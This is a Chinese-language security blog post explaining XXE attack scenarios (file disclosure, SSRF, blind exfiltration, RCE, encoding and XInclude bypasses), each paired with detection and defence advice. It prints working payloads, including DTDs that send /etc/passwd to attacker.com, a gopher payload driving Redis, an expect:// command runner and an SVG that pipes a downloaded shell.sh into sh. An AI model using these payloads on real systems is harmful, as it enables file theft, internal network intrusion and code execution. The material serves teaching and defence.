XXE漏洞攻击场景的一些解析

2025-02-14 28 0

1. 敏感文件泄露

攻击原理
通过XML外部实体引用本地文件系统路径,利用未正确配置的XML解析器读取服务器敏感文件

具体Payload示例

  • 读取Linux系统文件:
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&ampxxe;</data>
  • 利用条件:XML解析器允许file://协议,且应用返回错误信息或解析结果。

  • 读取Windows文件:
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
  • 利用PHP包装器绕过限制:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
  • 结果:文件内容以Base64编码形式返回,避免XML解析错误。

检测与防御

检测:

  • 监控HTTP响应中是否包含文件内容(如root:x:0:0:)。
  • 使用Burp Collaborator检测文件读取尝试。

防御:

  • 禁用file://协议:setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
  • 过滤XML中的<!DOCTYPE声明。

2. 服务端请求伪造(SSRF)

攻击原理
利用XML解析器发起任意HTTP请求,探测或攻击内网服务。

Payload示例

  • 探测内网HTTP服务:
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/admin">
  • 利用Gopher协议攻击Redis:
<!ENTITY xxe SYSTEM "gopher://internal-redis:6379/_*2%0D%0A$4%0D%0AAUTH%0D%0A$5%0D%0Aadmin%0D%0A*3%0D%0A$3%0D%0ASET%0D%0A$5%0D%0Akey%0D%0A$5%0D%0Avalue%0D%0A">
  • 结果:通过Gopher协议向Redis发送命令,触发未授权访问。
  • 利用FTP外带数据:
<!ENTITY % dtd SYSTEM "ftp://attacker.com:2121/data.dtd">

检测与防御
检测:

  • 监控XML解析器发起的异常出站请求(如非预期IP的HTTP/FTP连接)。
  • 使用网络层IDS规则:alert tcp any any -> any 8080 (msg:"XXE SSRF"; content:"GET /admin";)

防御:

  • 禁用网络协议:setFeature("http://xml.org/sax/features/external-general-entities", false)
  • 配置防火墙规则,禁止XML解析器进程访问内网。

3. 盲注XXE(数据外带)

攻击原理

当目标应用不直接返回数据时,通过DNS/HTTP请求将数据外传到攻击者服务器。

Payload示例

基于DNS的数据外带:

<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://attacker.com/dtd">
  %remote;
]>

其中dtd内容:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY &amp#x25; send SYSTEM 'http://attacker.com/?data=%data;'>">
%exfil;
  • 基于HTTP的参数外带:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &amp#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

检测与防御
检测:

  • 分析DNS日志中的异常子域名查询(如7a68656c6c6f.attacker.com对应Hex编码的"zhello")。
  • 使用Burp Collaborator或Interactsh平台捕获外带请求。

防御:

  • 禁用参数实体:setFeature("http://xml.org/sax/features/external-parameter-entities", false)
  • 输入内容过滤:拦截%和&等实体声明符号

4. 远程代码执行(RCE)

攻击原理

在特定环境下(如PHP启用expect扩展),通过包装器直接执行系统命令。

Payload示例

  • PHP expect RCE:
<!ENTITY xxe SYSTEM "expect://id">
  • 响应:返回uid=0(root) gid=0(root)等命令结果。
  • Java XSLT RCE
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="http://attacker.com/exploit.xsl"?>
  • exploit.xsl:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="runtime:exec(java.lang.Runtime.getRuntime(), 'calc.exe')"/>
  </xsl:template>
</xsl:stylesheet>

检测与防御
检测:

  • 监控系统进程日志,如/var/log/auth.log中的异常命令执行。
  • 使用HIDS(主机入侵检测系统)捕获可疑进程创建。

防御

  • 禁用危险包装器(如PHP的expect://)。
  • 限制XSLT处理器的网络访问权限。

5.绕过手法

  • UTF-7编码绕过
+ADw-+ACE-DOCTYPE root+AFs-
  +ADw-+ACE-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI-+AD4-
+AD4-
  • 防御:强制指定XML编码为UTF-8:<?xml version="1.0" encoding="UTF-8"?>
  • XInclude注入
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</root>
  • 防御:禁用XInclude解析:setXIncludeAware(false)

SVG/Office文档XXE

  • 恶意SVG文件:
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="expect://curl http://attacker.com/shell.sh | sh"/>
</svg>

防御:

  • 文件上传过滤:禁止上传包含<!ENTITY的文件。
  • 使用沙箱解析用户上传的文档。

总结:XEE攻击场景的防御需要结合协议禁用、输入过滤、日志监控的多层防护,并通过持续渗透测试验证防护效果。尤其需注意非显式XXE入口点(如Office文档、SVG图像),构建完整的文件上传安全策略。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

甲方安全何时需要自研安全产品?安全平台工程团队的价值与落地策略
Burpsuite基础使用教程
Kali linux hping3基础使用方法
DouCo DouPHP 安全漏洞(CVE-2024-57599)
9万个WordPress站点面临本地文件包含漏洞攻击
从中国视角看 NSA(方程式组织)的 TTP(攻击套路)

发布评论